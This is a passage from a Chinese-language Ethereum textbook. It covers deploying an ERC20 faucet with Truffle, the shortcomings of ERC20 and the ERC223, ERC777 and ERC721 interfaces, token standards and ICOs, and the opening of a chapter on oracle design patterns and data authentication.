最终，因为我们的Faucet不再支持以太币，我们应该避免任何人向METFaucet合约地址发送以太币，因为我们不想以太币也“卡”在合约中。我们更改回调支付函数，拒绝所有收到的以太币，使用revert函数来拒绝所有的传入支付：






// REJECT any incoming ether



function () public payable { revert(); }







现在我们的METFaucet.sol代码已经准备就绪，我们需要修改迁移脚本来进行部署。这个迁移脚本会有一些复杂，因为METFaucet依赖于METoken的地址。我们使用JavaScript的promise来按顺序部署这两个合约。修改后的2_deply_contracts.js如下：






var METoken = artifacts.require("METoken");



var METFaucet = artifacts.require("METFaucet");



var owner = web3.eth.accounts[0];



module.exports = function(deployer) {



        // Deploy the METoken contract first



        deployer.deploy(METoken, {from: owner}).then(function() {



                // Then deploy METFaucet and pass the address of METoken 



                   and the



                // address of the owner of all the MET who will approve 



                   METFaucet



                return deployer.deploy(METFaucet, METoken.address, owner);



    });



}







现在，我们可以使用Truffle控制台进行全面的测试。首先，我们使用migrate部署合约。当METoken部署完成后，它会把所有的MET代币转入创建这个合约的账户，也就是web3.eth.accounts[0]。接着，我们调用METoken合约中的approve方法来授权METFaucet代表web3.eth.accounts[0]地址转出1000枚MET。最后，我们测试Faucet，我们从web3.eth.accounts[1]这个地址调用METFaucet.withdraw函数尝试提取10枚MET。控制台上的具体命令如下：






$ truffle console --network ganache



truffle(ganache)> migrate



Using network 'ganache'.



Running migration: 1_initial_migration.js



  Deploying Migrations...



  ... 0x79352b43e18cc46b023a779e9a0d16b30f127bfa40266c02f9871d63c26542c7



  Migrations: 0xaa588d3737b611bafd7bd713445b314bd453a5c8



Saving artifacts...



Running migration: 2_deploy_contracts.js



  Replacing METoken...



  ... 0xc42a57f22cddf95f6f8c19d794c8af3b2491f568b38b96fef15b13b6e8bfff21



  METoken: 0xf204a4ef082f5c04bb89f7d5e6568b796096735a



  Replacing METFaucet...



  ... 0xd9615cae2fa4f1e8a377de87f86162832cf4d31098779e6e00df1ae7f1b7f864



  METFaucet: 0x75c35c980c0d37ef46df04d31a140b65503c0eed



Saving artifacts...



truffle(ganache)> METoken.deployed().then(instance =>



                  { instance.approve(METFaucet.address, 100000) })



truffle(ganache)> METoken.deployed().then(instance =>



                  { instance.balanceOf(web3.eth.accounts[1]).then(console.log) })



truffle(ganache)> BigNumber { s: 1, e: 0, c: [ 0 ] }



truffle(ganache)> METFaucet.deployed().then(instance =>



                  { instance.withdraw(1000, {from:web3.eth.accounts[1]}) } )



truffle(ganache)> METoken.deployed().then(instance =>



                  { instance.balanceOf(web3.eth.accounts[1]).then(console.log) })



truffle(ganache)> BigNumber { s: 1, e: 3, c: [ 1000 ] }







如你在结果中看到的，我们可以使用approve&transferFrom流程授权一个合约操作在另一个ERC20代币合约中生成的代币。如果使用正确，ERC20代币可以被外部账户和其他智能合约所使用。

然而，正确管理ERC20代币的责任还是在用户这一端。如果用户错误地尝试把ERC20代币转入一个不支持接收ERC20代币的合约地址，那么这些代币就会永久丢失。



ERC20代币的问题



基于ERC20标准的各类应用层出不穷。数以千计的代币已经被发布，绝大多数都借助这些新的特性，用于多种形式的众筹募资和ICO。然而，这其中也存在各种各样的问题，比如我们刚才讨论的向合约地址发送代币的问题。

ERC20代币另一个不太明显的问题是：它体现出了代币和以太币之间微小的差异。以太币是使用带有目标接受人地址的交易进行转账的，而代币的转账是通过代币合约内相关的状态转换进行的，使用合约作为地址，而不是接收方的地址。代币合约跟踪余额并发出事件。在代币的转账过程中，并没有任何针对接收方地址的交易。接收方的地址被加入代币合约的余额映射表中。一个发送以太币的合约会改变目标地址的状态。一个发送代币的合约只会改变合约内部的状态，而不是接收方地址的状态
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 。即使是支持ERC20代币的钱包软件，也不会自动发现对应地址上的代币余额变化，触发用户主动把某个代币合约添加到钱包的关注列表。有些钱包软件会关注一些流行的代币合约，用以检测它所控制的地址是否发生了余额变化，但是这也只涵盖了众多ERC20代币合约中的一小部分。

实际上，用户并不需要跟踪所有ERC20合约的余额变化。大多数ERC20代币都像是垃圾邮件一般毫无价值。有些合约甚至会自动为一些活跃的以太币地址创建“免费赠送”的余额。如果你有一个长期使用的活跃以太币地址，特别是这个地址是在以太坊平台众筹前后创建的，那么你会发现这个地址充满了不知道来自何方的各种垃圾代币的余额。当然，并不是这些地址中真的“充满”了代币，而是这些代币合约把你的地址加入到了它们的余额列表。如果你使用区块浏览器，或者你的钱包关注这些合约地址，你才能发现对应你地址的余额。

代币的行为模式跟以太币不一样。以太币使用send函数发送，任何合约中的可支付函数或者外部账户都可以接收以太币。代币使用transfer或approve&transferFrom函数发送，这些函数只存在于创建这个代币的合约中，（至少在ERC20标准中）并不会触发接收方合约中的任何可支付函数。代币的设计初衷是跟以太币一样的数字货币，但是实现中的这些微小差异打破了这个想法。

我们再来看另一问题。为了转账以太币，或者使用任何以太坊合约，你都需要通过以太币支付gas。为了发送代币，你也需要以太币。你不能使用代币来支付一笔交易所需要的gas，代币合约也不会替你支付这笔gas。这会造成一些奇怪的用户体验。比如，你使用交易所或者Shapeshift
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 把一笔以太币转换为代币。你可以把这些代币“接收”到一个关注了这个代币合约的钱包软件中。这跟你钱包中的其他数字货币看上去没什么区别。如果这时你想转账代币，你的钱包软件会提醒你转账需要支付以太币。你会非常疑惑：因为你在接收代币的时候并不需要以太币。也许你没有以太币，也许你并不了解这个代币是以太坊上的ERC20代币，也许你假设这个代币是跟比特币一样的具有自己的区块链，然而实际情况并非如此。

有些问题与ERC20的标准有关，有些则是与以太坊的抽象和接口边界设计有关的通用性问题。有些可以通过修改以太坊代币接口来解决，有些则必须彻底修改以太坊的底层结构（例如外部账户跟合约账户之前的差异、交易和消息的差异等）。有些问题可能根本是无法解决的，需要在用户界面这一层做很多工作，来确保不论底层的差异如何，用户的体验始终是一致的。

下一节将介绍试图解决这些问题的一些方案。



ERC223：代币合约接口标准



ERC223方案试图解决不慎把代币转入不支持代币的合约这个问题，通过检测目标地址是否为合约的方式来完成。ERC223需要设计为支持代币的合约，实现一个名为tokenFallback的函数。如果转账的目的地址只有一个合约，而这个合约不支持代币（即没有实现tokenFallback函数），那么转账就会失败。

为了检测目标地址是否为一个合约，ERC223方案的实现采用了一小部分字节码，这是极具创新性的方式：






function isContract(address _addr) private view returns (bool is_contract) {



  uint length;



    assembly {



      // retrieve the size of the code on target address; this needs assembly



      length := extcodesize(_addr)



    }



    return (length>0);



}







ERC223的合约接口标准如下：






interface ERC223Token {



  uint public totalSupply;



  function balanceOf(address who) public view returns (uint);



  function name() public view returns (string _name);



  function symbol() public view returns (string _symbol);



  function decimals() public view returns (uint8 _decimals);



  function totalSupply() public view returns (uint256 _supply);



  function transfer(address to, uint value) public returns (bool ok);



  function transfer(address to, uint value, bytes data) public returns (bool ok);



  function transfer(address to, uint value, bytes data, string custom_fallback)



      public returns (bool ok);



  event Transfer(address indexed from, address indexed to, uint value,



                bytes indexed data);



}







ERC223标准尚未被广泛采用，有关这个方案的后向兼容性、实现的形态到底是在合约接口层还是在用户界面等问题仍旧是以太坊社区讨论的焦点。



ERC777：代币合约接口标准



另一个针对代币合约的改进行方案是ERC777。这个方案的目标如下：

·提供与ERC20兼容的接口。

·使用send函数发送代币，类似于以太币。

·代币合约注册与ERC820兼容。

·允许合约和地址通过在发送之前调用的tokensToSend函数来控制它们发送的代币。

·通过调用接收方的tokensReceived函数使合约和地址能够通知代币收据，并通过要求合约提供tokensReceived函数来降低代币被锁定到合约的可能性。

·允许现有合约对tokensToSend和tokensReceived函数使用代理合约。

·无论是发送给合约还是外部账户，都以相同的方式操作。

·为代币的生成和销毁提供特定事件。

·使运营方（可信第三方，旨在验证合约）代表代币持有者移动代币。

·在userData和operator数据字段中提供代币发送交易的元数据。

有关ERC777的细节和正在进行的讨论请访问GitHub，网址为
https://github.com/ethereum/EIPs/issues/777

 。

ERC777的合约接口定义如下：






interface ERC777Token {



    function name() public constant returns (string);



    function symbol() public constant returns (string);



    function totalSupply() public constant returns (uint256);



    function granularity() public constant returns (uint256);



    function balanceOf(address owner) public constant returns (uint256);



    function send(address to, uint256 amount, bytes userData) public;



    function authorizeOperator(address operator) public;



    function revokeOperator(address operator) public;



    function isOperatorFor(address operator, address tokenHolder)



        public constant returns (bool);



    function operatorSend(address from, address to, uint256 amount,



                          bytes userData,bytes operatorData) public;



    event Sent(address indexed operator, address indexed from,



               address indexed to, uint256 amount, bytes userData,



               bytes operatorData);



    event Minted(address indexed operator, address indexed to,



                 uint256 amount, bytes operatorData);



    event Burned(address indexed operator, address indexed from,



                 uint256 amount, bytes userData, bytes operatorData);



    event AuthorizedOperator(address indexed operator,



                             address indexed tokenHolder);



    event RevokedOperator(address indexed operator, address indexed tokenHolder);



}








ERC777的钩子


ERC777代币的发送方钩子（hook）的标准如下：






interface ERC777TokensSender {



    function tokensToSend(address operator, address from, address to,



                         uint value, bytes userData, bytes operatorData) public;



}







任何希望被通知，处理或拒绝接收代币的地址都需要实现此接口。无论合约是为自己实现接口还是为其他地址实现接口，合约实现此接口的地址都必须通过ERC820注册。

ERC777代币标准的接收方钩子定义如下：






interface ERC777TokensRecipient {



  function tokensReceived(



      address operator, address from, address to,



    uint amount, bytes userData, bytes operatorData



  ) public;



}







任何希望被通知，处理或拒绝接收代币的地址都需要实现此接口。与代币发送方接口相同的逻辑和要求适用于代币接收方，但附加约束条件是收件人合约必须实现此接口以防止锁定代币。如果收件人合约未注册实现此接口的地址，则代币的转移将失败。

一个重要的要求是每个地址只能注册一个代币发送方和一个代币接收方。因此，在借记和接收每个ERC777代币发送时调用相同的钩子函数。可以使用消息的发送方在这些函数中标识特定的代币，该消息的发送方是特定的代币合约地址，例如，用于处理特定的用例。

另一方面，可以为多个地址注册相同的代币发送方和代币接收方钩子，并且钩子可以使用from参数和to参数来区分发送方和预期接收方。

这个方案同时提供了一个ERC777标准的参考实现。ERC777依赖一份并行的关于合约注册的标准，即ERC820。有关ERC777的讨论围绕在同时引入两个较大改动所带来的复杂性：一个新的代币标准和一个新的注册标准。该讨论仍旧在持续。



ERC721：不可替代物（实物契约）的代币标准



目前我们讨论的所有代币都是具备可替代性的，这意味着代币的每一个基本单元都是可以互相交换的。ERC20代币标准只是跟踪每一个账户的最终余额，并不跟踪每一个单位的代币是从何而来的。

ERC721方案是针对不可替代物代币的标准，也称为契约代币。

在《牛津词典》中对“契约”一词的定义如下：

契约：一份签署并提交的法律文章，特别用来表示针对一项资产或法律权益的所有权。

“契约”一词的使用旨在反映“财产所有权”部分，尽管这些部分在任何司法管辖区都没有被承认为“法律文件”，至少目前尚不是。

不可替代性代币用于跟踪一个独特事物的所有权。这个事物可以是一个数字资产，例如一个电子游戏道具，或者一项数字收藏品；也可以是一个实实在在的资产，它的所有权可以用代币进行追踪，例如一栋房子、一辆车、一份艺术品。契约也可以用来表示一个负资产，例如贷款（债务）、扣押权、地役权、遗嘱等。ERC721标准并没有对可以用“契约”跟踪的事物设定任何的限制，只要是可以唯一标识的，也就是可以用一个256位标识符表示的，都可以涵盖在这个标准之下。

有关这个方案的讨论在如下两个GitHub网址。

·初始提案：
https://github.com/ethereum/EIPs/issues/721

 。

·延续讨论：
https://github.com/ethereum/EIPs/pull/841

 。

为了了解ERC20和ERC721的本质区别，我们只需要看一看ERC721的内部数据结构就可以了：






// Mapping from deed ID to owner



mapping (uint256 => address) private deedOwner;







ERC20将所有者作为映射的主键，跟踪每个所有者的余额；而ERC721将契约ID作为映射的主键，跟踪每个契约ID及其所有者。从这个基本的差异中，可以进一步看出不可替代代币的种种属性。

ERC721合约接口的具体定义如下：






interface ERC721 /* is ERC165 */ {



    event Transfer(address indexed _from, address indexed _to, uint256 _deedId);



    event Approval(address indexed _owner, address indexed _approved,



        uint256 _deedId);



    event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);



    function balanceOf(address _owner) external view returns (uint256 _balance);



    function ownerOf(uint256 _deedId) external view returns (address _owner);



    function transfer(address _to, uint256 _deedId) external payable;



    function transferFrom(address _from, address _to, uint256 _deedId) external payable;



    function approve(address _approved, uint256 _deedId) external payable;



    function setApprovalForAll(address _operateor, boolean _approved) payable;



    function supportsInterface(bytes4 interfaceID) external view returns (bool);



}







ERC721还有两个可选的接口，一个用于元数据，另一个用于枚举契约和持有人。

ERC721的元数据可选接口如下：






interface ERC721Metadata /* is ERC721 */ {



    function name() external pure returns (string _name);



    function symbol() external pure returns (string _symbol);



    function deedUri(uint256 _deedId) external view returns (string _deedUri);



}







ERC721的枚举可选接口如下：






interface ERC721Enumerable /* is ERC721 */ {



    function totalSupply() external view returns (uint256 _count);



    function deedByIndex(uint256 _index) external view returns (uint256 _deedId);



    function countOfOwners() external view returns (uint256 _count);



    function ownerByIndex(uint256 _index) external view returns (address _owner);



    function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _deedId);



}










[1]

 “把代币发送给Faucet合约”这个说法可能容易引起歧义，实际发生的是，这部分MET代币的所有权被标识为Faucet的地址，只有来自Faucet地址的transfer调用才能够操作这些代币，但是Faucet合约已经部署在链上，无法进行修改；即使修改Faucet合约代码后重新部署，新合约的地址也跟老的地址不一样。




[2]

 这就是为什么之前我会强调“把代币发送给Faucet合约”这个说法可能容易引起歧义的原因。




[3]

 一家匿名币币交易所。




代币标准



之前，我们讨论了一些被广泛应用的各类代币合约标准。这些标准到底起什么作用？你是否应该使用这些标准？你应该如何使用这些标准？你是否应该在这些标准之外引入新的功能？应该使用哪一个标准？本节尝试解答这些问题。



代币标准的定义和目的



代币标准是实现的最小化标准。这意味着为了能够兼容ERC20标准，你必须实现这些ERC20规定的最小规模的函数和行为。你也可以在实现阶段自由地添加标准之外的函数。

这些标准的主要目的是为了完成合约之间的互操作性。也就是说，所有的钱包软件、交易所、用户界面和其他被称为界面的各种组件，都可以以一种可预期的方式以一定的规范跟所有代币合约进行交互。

标准的出发点是“说明性的”，而不是“规定性的”。如何实现这些标准完全取决于开发者，合约的内部函数完全与标准不相干。这些函数针对特定的场景执行其需要的操作，但是这些都没有规定实现方式。关于这一点的一个例子就是当转账额为零时transfer函数的行为。



需要使用这些标准吗？



对于这么多的标准，每个开发者都面临选择困难：是使用已经存在的标准，还是在此基础上进行更进一步的创新？

这样的困境并不太好解决。标准某种程度上的确会限制一些创新，因为它划定了一些你必须遵守的条条框框。但是另一方面，这些非常基础的标准已经在众多应用中被采用，对于99%的场景来说已足够了。

这个讨论还能够引申出一个更大的话题：互操作性和广泛采用的价值。如果你选择使用现有标准，你将获得设计用于该标准的所有系统的价值。如果你选择偏离标准，则必须考虑自行构建所有支持基础架构的成本，或者说服其他人支持你的实施作为新标准。打造自己的道路并忽视现有标准的趋势被称为“非我所创综合征”（Not Invented here Syndorme），这与开源文化相对立。另一方面，进步和创新有时依靠背离传统。这是一个棘手的选择，所以请仔细考虑！


 　引自维基百科（
https://en.wikipedia.org/wiki/Not_invented_here

 ）：“非我所创综合征”指的是社会、公司和组织中的一种文化现象，人们不愿意使用、购买或者接受某种产品、研究成果或者知识，不是出于技术或者法律等因素，只是因为它源自其他地方。



成熟度带来的安全性



除了标准的选择，我们同样面临实现方法的选择。当你选定某个标准之后，你还需要决定如何实现它。这里有很多在以太坊生态中被广泛应用的、现存的参考实现。你也可以选择从头开始自己编写代码。

现存的实现是“经过实战检验的”。虽然无法证明它们是安全的，但它们中的许多支撑着数百万美元的代币。它们一再受到攻击，并且受到了强烈的攻击。到目前为止，没有发现重大的漏洞。自行编写代码并不容易，因为有许多微妙的方式可以让合约受到攻击。使用经过充分测试的广泛使用的实现要安全得多。在上面的例子中，我们使用了ERC20标准的OpenZeppelin实现，因为这个实现从头到尾都是安全的。

如果你使用现有的实现，你也可以扩展它。但是，要小心这样的冲动。复杂性是安全的敌人。你添加的每一行代码都会扩展合约的受攻击面，并可能代表处于等待状态的漏洞。你可能没有注意到一个问题，直到你在合约上投入了很多价值，然后有人攻破了它。


 　标准和实现层面的选择是设计安全的智能合约的重要组成部分，但它们不是唯一的考虑因素，详见第9章。




代币接口标准的扩展



本章所讨论的合约标准都是从一些非常有限的接口开始的，也只提供了有限的功能。很多项目在此基础上创建了扩展的实现，用于支持它们应用中所需要的功能。这些扩展包括：


持有人控制


一个或一组特定的地址，可以通过多重签名的方式，实现特定的功能，例如设定黑名单、白名单、铸币或恢复等。


销毁


通过向一个无法使用的地址转账、删除余额、减少发行量等方式有意识地销毁代币的行为。


铸币


增加代币总发行量的行为，可以设定逐步增发的速率，也可以由代币的创造者决定。


众筹


提供代币销售的一种方式，例如通过拍卖、公开市场等方式。


硬顶


预先定义且不可改变的代币总发行量，这与铸币功能相对应。


可恢复性后门


用于恢复代币、撤销转账或废除代币的函数，可由预先定义的一个或一组地址经过多重签名后执行。


白名单


限制代币的转账仅限于列出的地址的功能。在经过不同司法管辖区的规则审核后，最常用于向“经认可的投资者”提供代币。通常配有一种更新白名单的机制。


黑名单


通过禁止特定地址来限制代币转账的能力。通常配有更新黑名单的功能。

有许多这些功能的参考实现，例如在OpenZeppelin程序库中。其中一些是用例特定的，仅在少数代币中实现。到目前为止，这些功能的接口还没有被广泛接受的标准。

如前所述，决定使用附加功能扩展代币标准代表了创新、风险与互操作性和安全性之间的折中。




代币和ICO



代币已经成为以太坊生态系统中的爆炸性发展。它们很可能是所有智能合约平台（如以太坊）中非常重要的基础组件。

尽管如此，这些标准的重要性和未来影响不应该与当前代币产品的认可相混淆。就像在任何早期阶段的技术一样，第一波产品和公司几乎都会失败，有些甚至会惨败。今天在以太坊上提供的许多代币几乎都是伪装的骗局、传销和所谓的“割韭菜”行为。

在代币世界中生存的诀窍是将这种技术的长期愿景和影响与可能是巨大的短期ICO泡沫分离开来，这种泡沫充斥着欺诈行为。两者在同一时间都可以是真实的。代币标准和平台将在目前的代币狂热中幸存下来，然后它们可能会改变世界。




总结



代币在以太坊中是一个非常强大的概念，可以构成许多重要的去中心化应用程序的基础。在本章，我们研究了不同类型的代币和代币标准，并构建了你的第一个代币和相关应用程序。我们将在第12章再次探讨代币的话题，你将使用具有不可替代性的代币来实现一个拍卖DApp。




第11章　预言机



在本章中，我们将讨论预言机（oracle），它是可以为以太坊智能合约提供外部数据源的系统。“oracle”一词来自希腊神话，代表能够与神灵交流的人，他们可以看到未来的愿景。在区块链的上下文中，预言机是一个可以回答以太坊外部问题的系统。在理想情况下，预言机是无信任的系统，这意味着它们不需要被信任，因为它们是按照去中心化的原则运行的。




为什么需要预言机？



以太坊平台的一个关键组件是EVM，它能够在分散网络中的任何节点上执行程序并更新受共识规则约束的以太坊状态。为了保持共识，EVM的执行过程必须完全确定，并且仅基于以太坊状态和签名交易的共享上下文。这产生了两个特别重要的后果：一个是EVM和智能合约没有内在的随机性来源；另一个是外部数据只能作为交易的数据载荷引入。

让我们进一步分析这两个后果。首先我们要理解为什么在EVM中需要禁止真正的随机函数，不让它们为智能合约提供随机性。请考虑在执行此类函数后对尝试达成共识的影响：节点A将执行命令并代表智能合约存储3在其存储中，而节点B执行相同的智能合约，将存储7。因此，节点A和节点B就结果状态应该是什么将得出不同的结论，尽管在相同的上下文中运行完全相同的代码。实际上，每次评估智能合约时，可能会达到不同的结果状态。因此，由于其众多节点在世界各地独立运行，网络将无法就结果状态应该是什么达成去中心化的共识。在实践中，它会比这个例子复杂得多，因为包括以太币转移在内的连锁效应会以指数方式增长。

注意，伪随机函数，例如加密安全哈希函数（它们是确定性的，因此实际上也是EVM的一部分），对于许多应用来说是不够的。假想一个猜硬币决胜负的游戏场景，这个游戏依赖于扔硬币正反面的随意性。矿工可以轻易破解这个游戏：他们只需要打包那些对其有利的随机结果即可。那么我们如何解决这个问题呢？既然所有节点都可以就签名交易的内容达成一致，那么我们就可以引入外部信息，包括随机性、价格信息、天气预报等，作为发送到网络的交易的数据部分。但是，这些数据本身无法信任，因为它的来源无法核实。因此，我们刚刚并没有完全解决这个问题。我们使用预言机尝试解决这些问题，在本章的其余部分将详细讨论这些问题。




预言机的应用场景和示例



理想情况下，预言机提供了一种无信任（或至少近乎无信任）的方式来获取外在的（即“真实世界”或“链外”）信息，例如足球比赛的结果、黄金的价格或真正的随机数字，用于以太坊平台上的智能合约。它们还可用于直接将数据安全地中继到DApp前端。因此，可以将预言机视为弥合链外世界与智能合约之间差距的机制。允许智能合约基于真实世界的事件和数据来强制执行合约关系，从而大大扩展了它们的范围。但是，这也会给以太坊的安全模型带来外部风险。考虑一个“智能遗嘱”合约——当一个人去世时分配资产。这是智能合约领域中经常讨论的内容，并突出了可信任的预言机的风险。如果由这样的合约控制的继承金额足够高，那么在所有者死亡之前攻击预言机（发出假的死讯）并触发资产分配的动机是非常强烈的。

请注意，某些预言机提供针对特定私有数据源的数据，例如学术证书或政府ID。这些数据的来源，如大学或政府部门，是完全可信的，数据的真实性是主观的（真相只能通过来源的权威来确定）。因此，不能无信地提供这样的数据，即不信任来源，因为没有独立可验证的客观事实。因此，我们将这些数据源包含在我们对预言机的定义中，因为它们还为智能合约提供了数据桥梁。它们提供的数据通常采用证明的形式，如护照或成就记录。“证言”将成为未来区块链平台成功的重要组成部分，特别是在验证身份或声誉的相关问题方面，因此探索区块链平台如何为其提供服务非常重要。

可能由预言机提供的更多数据示例包括：

·物理随机数源或熵源（例如量子现象或热现象）：如在彩票智能合约中公平地选出获奖者。

·与自然灾害相关的参数触发器：触发大型自然灾害债券智能合约（例如地震的里氏震级测量债券）。

·汇率数据：例如让加密货币与法定货币精确挂钩。

·资本市场数据：例如为一揽子代币化资产或证券定价。

·指标引用数据：例如将利率纳入智能金融衍生品合约。

·统计与准统计数据：安全标识、国家代号、货币代号等。

·时间和间隔数据：基于精准的SI（国际单位制）时间度量的事件触发器。

·天气数据：例如基于天气预报的保险费计算器。

·政治事件：预测市场的走势。

·运动事件：预测市场走势以及体育博彩相关的合约。

·地理定位数据：例如供应链跟踪。

·损坏程度核验：保险合约。

·其他区块链上发生的事件：可互操作函数。

·以太币市场价格：例如gas价格预言机。

·航班统计数据：例如用于团体和俱乐部的机票合同。

在接下来的部分，我们将研究可以实现预言机的一些方法，包括基本的预言机的设计模式、计算性预言机、去中心化的预言机以及Solidity中的预言机客户端实现。




预言机的设计模式



根据定义，所有的预言机都提供了一些关键功能。这些能力包括：

·从链外的数据源收集数据。

·使用签名消息在链上传输数据。

·将数据放入智能合约的存储空间，使数据可用。

一旦数据在智能合约的存储中可用，其他智能合约就可以通过调用预言机智能合约的“检索”功能来访问它；它也可以通过“查看”预言机的存储直接由以太坊节点或支持网络的客户端访问。

设置预言机的三种主要方式可以分为请求与响应、发布与订阅和立即读取。

让我们从最简单的“立即读取”式预言机开始，这种预言机提供即时决策所需的数据，例如“ethereumbook.info的地址是什么”或“这个人是否超过18岁”。那些希望查询此类数据的人倾向于在“即时”的基础上这样做；查找是在需要信息时完成的，可能永远不会再次查找。这种预言机的例子包括那些持有组织数据或由组织发布数据（例如学术证书、拨号代码、机构会员资格、机场标识符、自主ID等）的预言机。这种类型的预言机一旦将数据存储在其合约存储中，其他智能合约就可以使用对预言机合约的请求调用来查找。它可能会更新。预言机存储中的数据也可用于通过区块链启用（即，以太坊客户端连接）应用程序直接查找，而无须通过调整并产生发布交易的gas成本。想要检查买酒顾客年龄的商店可以这样使用预言机。这种类型的预言机对于可能需要运行和维护服务器来回答此类数据请求的组织或公司具有吸引力。注意：由预言机存储的数据可能不是预言机正在服务的原始数据，例如，出于效率或隐私原因，大学可能会为过去学生的学业成绩证书设立一个预言机。但是，存储证书的完整详细信息（细致到所修的课程和达到的成绩）是多余的。相反，证书的哈希就足够了。同样，政府可能希望将公民身份证放入以太坊平台，其中显然包含的细节需要保密。再次，散列数据（更仔细的做法是，在默尔克树中使用Salt）并且仅将根哈希存储在智能合约的存储中将是组织这种服务的有效方式。

下一个设置方式是发布与订阅，在这种预言机中，要对预期改变的数据（可能是定期和频繁地）提供有效的广播服务，预言机要么由链上的智能合约轮询，要么由链外守护进程监视和更新。此类别具有类似于RSS摘要或WebSub的模式，其中预言机使用新信息进行更新，并用标记表示新数据可供“订阅”的人使用。感兴趣的人必须将预言机轮询到检查最新信息是否已更改，或监听预言机合约的更新并在发生时采取行动。示例包括价格馈送、天气信息、经济或社会统计、交通数据等。在Web服务器领域，轮询效率非常低，但在区块链平台的对等环境中却不是这样：以太坊客户必须跟上所有状态更改，包括对合约存储的更改，因此轮询数据更改是对同步客户端的本地调用。以太坊事件日志使应用程序特别容易注意预言机更新，因此这种模式在某些方面甚至可以被视为“推送”服务。但是，如果轮询是通过智能合约完成的——这对于某些去中心化的应用可能是必要的（例如，在无法激活激励的情况下），则可能产生大量的gas支出。

“请求/响应”类别是最复杂的：这是数据空间太大而无法存储在智能合约中的情况，并且用户每次只需要整个数据集的一小部分。它也是数据提供商业务的适用模型。实际上，这样的预言机可以实现为链上智能合约系统，以及用于监视请求和检索、返回数据的链外基础结构。来自去中心化应用的数据请求通常是涉及许多步骤的异步过程。在这种模式中，首先，EOA与去中心化应用进行交互，从而与预言机智能合约中定义的功能进行交互。此函数启动对预言机的请求，除了可能包含回调函数和调度参数的补充信息之外，还使用相关参数详细说明所请求的数据。一旦验证了此事务，就可以将预言机请求视为预言机合约发出的EVM事件，或者作为状态更改；可以检索参数并用于执行链外数据源的实际查询。预言机可能还需要付款来处理请求，回调的gas支付以及访问所请求数据的权限。最后，结果数据由预言机所有者签名，证明在给定时间内的数据有效性，并在事务中传递给直接或通过预言机合约发出请求的去中心化应用。根据调度参数，预言机可以定期广播进一步更新数据的事务（例如，日终定价信息）。

请求与响应预言机的步骤可以总结如下：

1.接收来自DApp的查询。

2.解析查询。

3.检查是否提供了付款和数据访问权限。

4.从链外数据源检索相关数据（并在必要时加密）。

5.使用包含的数据对事务进行签名。

6.将事务广播到网络。

7.安排任何进一步必要的交易，例如通知等。

一系列其他方案也是可能的，例如，可以从EOA请求数据并直接返回数据，从而无须使用预言机智能合约。

类似地，可以向支持物联网的硬件传感器发出请求和响应。因此，预言机可以是人、软件或硬件。此处描述的请求与响应模式常见于客户端与服务器体系结构。虽然这是一种有用的消息传递模式，允许应用程序进行双向对话，但在某些情况下这可能是不合适的。例如，在请求与响应模式下，需要预言机利率的智能债券可能必须每天请求数据，以确保利率始终是正确的。鉴于利率不经常变化，发布与订阅模式可能更合适这种情况，尤其是考虑到以太坊的有限带宽。

在发布与订阅模式中，发布者（在此上下文中是指预言机）不直接向接收者发送消息，而是将发布的消息分类到不同的类中。订阅者能够表达对一个或多个类的兴趣并仅检索那些感兴趣的消息。在这种模式下，预言机可能会在每次更改时将利率写入其自己的内部存储。多个订阅的DApp可以简单地从预言机合约中读取它，从而减少对网络带宽的影响，同时最大限度地降低存储成本。

在广播或多播模式中，预言机会将所有消息发布到信道，订阅合约将在各种订阅模式下收听信道。例如，预言机可能会将消息发布到加密货币汇率信道。订阅智能合约如果需要时间序列，例如移动平均计算，则可以请求信道的全部内容；另一个可能只需要现货价格计算最新利率。在预言机不需要知道订阅合约的身份的情况下，广播模式是合适的。




数据认证



即便我们假设被去中心化应用查询的数据源是权威的和值得信任的，仍然存在一个突出的问题：鉴于预言机以及“请求/响应”机制可能由多个实体来操作，我们如何才能信任这个机制呢？数据在传输过程中被篡改的可能性显然是存在的，所以，让链外方法可以证明返回数据的完整性是非常关键的。两种常见的数据认证方法是真实性证明（authenticity proof）以及可信执行环境（Trusted Execution Environment，TEE）。

真实性证明是用密码学证据证明数据没有被篡改过。基于许多证明技术（例如，数字签名证明），它们将需要的信任从数据传输者高效地转移到证明人（证明方法的提供者）。通过链上验证证据，智能合约可以在使用数据前验证数据的完整性。Oraclize（
http://www.oraclize.it/

 ）就是一个利用多种真实性证明的预言机服务的例子。现在以太坊主网查询数据时可以使用的其中一种证明方式是TLSNotary Proof。TLSNotary Proof允许客户端向第三方提交证据，证明客户端与某服务器之间发生了HTTPS网络流量。虽然HTTPS自身是安全的，但它并不支持数据签名。因此，TLSNotary Proof依赖于TLSNotary签名方案（通过PageSigner）。TLSNotary Proof利用了传输层安全协议（Transport Layer Security，TLS），这让TLS可以掌控密钥，在获取数据后给数据签名，并将数据分配给三方：服务器（预言机）、受审单位（Oraclize）以及审计方。Oraclize使用亚马逊网络服务器（AWS）虚拟机实例作为审计方，可以验证自实例化以来它没有被修改过。这一AWS实例存储着TLSNotary密文，密文让它可以提供诚实性证明。虽然这套方案在数据篡改上提供了比纯粹的“请求/响应”机制更高的安全保证，我们仍然需要假设亚马逊自己不会篡改虚拟机实例。

Town Crier（
http://www.town-crier.org/

 ）是一个基于可信执行环境的验证数据馈送预言机系统；这些方法采用基于硬件的安全区（security enclave）来验证数据完整性。Town Crier使用英特尔的SGX（Software Guard eXtensions）来保证对HTTPS查询的响应可以被验证为可信的。SGX也提供了完整性保证，使得在安全区中运行的应用受到CPU保护，不被其他进程篡改。它也提供了机密性，保证应用程序在安全区中运行时，其状态对其他进程来说是不可知的。最后，SGX通过生成应用程序确定在安全区中运行的数字签名（通过其构建结果的哈希值来安全地确定），让证明成为可能。通过验证这一数字签名，去中心化应用就可以证明Town Crier实例正在SGX安全区内安全地运行。这样就反过来证明了该实例没有被篡改过，由Town Crier发出的数据是可信的。此外，这种机密属性还让Town Crier可以处理隐私数据：使用Town Crier实例的公钥来加密数据查询请求。在安全区（如SGX）中运行预言机的“请求/响应”机制，我们完全可以认为Town Crier是在可信第三方硬件中安全地运行，保证了所请求的数据不受篡改地返回（假设我们相信Intel/SGX）。




计算性的预言机



迄今为止，我们只讨论请求和分发数据情境下的预言机。但是，预言机也可以用来执行任意计算。给定以太坊内在的区块gas上限和相对较贵的计算成本，是一个特别有用的功能。不只是传递数据请求的结果，计算预言机也可以用来执行带有一组输入的相关计算并返回计算结果，而这种计算可能无法在链上进行。举个例子，我们可以使用计算预言机来执行计算密集型的回归计算，以估计某个债券智能合约的收益。

